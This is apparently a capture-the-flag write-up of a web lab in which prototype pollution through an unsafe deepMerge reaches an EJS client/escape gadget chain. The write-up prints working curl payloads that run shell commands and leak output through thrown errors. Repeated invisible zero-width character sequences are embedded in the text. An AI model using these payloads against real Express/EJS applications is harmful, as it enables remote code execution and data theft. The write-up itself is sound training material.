← Back to Writeups
CUSTOMMediumWeb

Lab 36 — PulseBoard — Prototype Pollution to RCE via EJS

XESXOR9/10/20265 min read
#web#custom#medium#ejs_client_escape_gadget_chain#error_based_data_exfiltration#honeypot_flag_identification#prototype_pollution_via_deepme#read_only_filesystem_bypass#cve-2022-29078#linux

Lab 36 — PulseBoard — Prototype Pollution to RCE via EJS

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-06 | Status: Solved Techniques: ejs_client_escape_gadget_chain, error_based_data_exfiltration, honeypot_flag_identification, prototype_pollution_via_deepmerge, read_only_filesystem_bypass

Summary

Task: PulseBoard analytics dashboard with PUT /api/settings endpoint that deep-merges user JSON into config without filtering proto, running EJS >= 3.1.7 where classic outputFunctionName gadget is blocked. Solution: Pollute Object.prototype.client=true and Object.prototype.escape with IIFE payload to inject code into EJS compiled template via escapeFn.toString(), exfiltrate flag through thrown Error since client=true breaks include().

Lab 36 — PulseBoard — Prototype Pollution to RCE via EJS — HackAdvisor

Description

PulseBoard is a team analytics dashboard built by PulseMetrics Inc. It helps engineering teams track productivity metrics like commits, code reviews, sprint velocity, and task completion in real time. The platform allows workspace administrators to customize their environment through a settings panel — configuring timezone, sprint length, notifications, and other workspace preferences. The settings API accepts JSON payloads for flexible configuration management. Your objective is to explore the application, understand how configuration data flows through the server, and find a way to execute arbitrary code on the backend.

Credentials: user@pulseboard.io / pulseboard2024 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An Express.js application (PulseBoard v2.4.1) using EJS templates behind nginx/1.25.5. The workspace settings API (PUT /api/settings) accepts arbitrary JSON and deep-merges it into the server config object using an unsafe deepMerge function that does not filter __proto__. The goal is to achieve RCE and read the flag file. Every page contains decoy honeypot flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) designed to trick automated scanners.

Analysis

Reconnaissance

After logging in with user@pulseboard.io / pulseboard2024 via POST /login, the application exposes:

  • /dashboard, /reports, /team — EJS-rendered pages
  • /settings/workspace — settings panel with "Advanced Configuration" for JSON import/export
  • GET /api/settings — returns current workspace config as JSON
  • PUT /api/settings — accepts JSON body, deep-merges into config object ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The JavaScript at /js/settings.js reveals the applyRawConfig() function that sends arbitrary JSON to PUT /api/settings.

Error traces reveal a deepMerge function at /app/server.js:43 that recursively merges user-supplied JSON into the config object without filtering dangerous keys (__proto__, constructor, prototype).

Confirming Prototype Pollution

bash
curl -s -b "$COOKIE" -X PUT "$URL/api/settings" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"polluted":"yes"}}'
# Response: {"success":true,"config":{...}}
# Subsequent responses show "polluted":"yes" — confirming pollution

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

EJS >= 3.1.7 — Classic Gadgets Blocked

The classic EJS RCE gadget outputFunctionName (CVE-2022-29078) was tested:

bash
curl -s -b "$COOKIE" -X PUT "$URL/api/settings" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"outputFunctionName":"x;process.mainModule.require(\"child_process\").execSync(\"id\");var z"}}'

Result: Error: outputFunctionName is not a valid JS identifier.

EJS >= 3.1.7 validates outputFunctionName, localsName, and destructuredLocals entries against /^[a-zA-Z_$][0-9a-zA-Z_$]*$/. All three classic injection points are blocked. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Discovering the client + escape Gadget Chain

By analyzing the EJS v3.1.9 source code, a new unpatched gadget chain was identified in the compile() function:

EJS source (ejs.js lines 636-641):

javascript
if (opts.client) {
  src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
  // ...
}

When opts.client is true, EJS prepends escapeFn.toString() directly into the compiled template source. The escapeFn value comes from opts.escapeFunction, which is set from opts.escape (line 519): ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

javascript
options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;

Critical insight: In Express's ejs.renderFile(), the opts object is created as {filename: filename} — a plain object inheriting from Object.prototype. Polluted prototype properties like client and escape are inherited by opts and passed to the EJS Template constructor. Unlike outputFunctionName/localsName, the escape and client options are NOT validated as JS identifiers. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Constraints

  1. Nested objects cause stack overflow: Polluting with {"__proto__":{"env":{...}}} or {"constructor":{"prototype":{...}}} causes infinite recursion in deepMerge — it recurses into the constructor chain
  2. Read-only filesystem (EROFS): Cannot write files to /app/public/ for exfiltration
  3. client=true breaks include(): When client=true, EJS returns the raw compiled function without the wrapper that defines include(). Templates using <%- include('partials/header', ...) %> crash with "include is not a function"
  4. One-shot pollution: Once prototype is polluted with bad values, subsequent requests may break ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

The attack chain exploits two unvalidated EJS options via prototype pollution:

  1. Object.prototype.client = true — activates the code path that injects escapeFn.toString() into compiled template source
  2. Object.prototype.escape = "(() => { RCE_CODE })()//" — this string becomes escapeFn, and .toString() returns the string itself, which gets injected as executable JavaScript

The compiled template becomes:

javascript
escapeFn = escapeFn || (() => { RCE_CODE })()//;
// ... rest of template ...

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The // at the end comments out the trailing semicolon and any remaining code on that line.

Since client=true breaks include() and the filesystem is read-only, the flag is exfiltrated by throwing an Error — the error message appears in Express's error page.

Step 1: Pollute client to true

bash
curl -s -b "$COOKIE" -X PUT "$URL/api/settings" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"client":true}}'

Step 2: Pollute escape with RCE payload

bash
curl -s -b "$COOKIE" -X PUT "$URL/api/settings" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"escape":"(() => { var r = process.mainModule.require; var cp = r(\"child_process\"); var flag = cp.execSync(\"cat /flag*\").toString(); throw new Error(\"FLAG_OUTPUT:\" + flag); })()//"}}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Trigger EJS template render

bash
curl -s -b "$COOKIE" "$URL/dashboard"

Response contains:

Error: FLAG_OUTPUT:FLAG{REDACTED}

Why Error-Based Exfiltration

  • client=true breaks templates: The raw function fn is returned without the wrapper that defines include(), so any template using include() crashes
  • Read-only filesystem: Writing to /app/public/out.txt fails with EROFS
  • Error as channel: Throwing an Error with the flag content is the cleanest method — Express catches it and displays the error message in the response ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Failed Approaches

  1. outputFunctionName injection — blocked by JS identifier validation (EJS >= 3.1.7)
  2. localsName injection — same validation
  3. destructuredLocals injection — same validation
  4. constructor.prototype pollution — causes stack overflow in deepMerge (recurses into constructor chain)
  5. view options nested object — same stack overflow issue
  6. Writing flag to /app/public/out.txt — read-only filesystem (EROFS)
  7. Normal page render — client=true breaks include() function ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍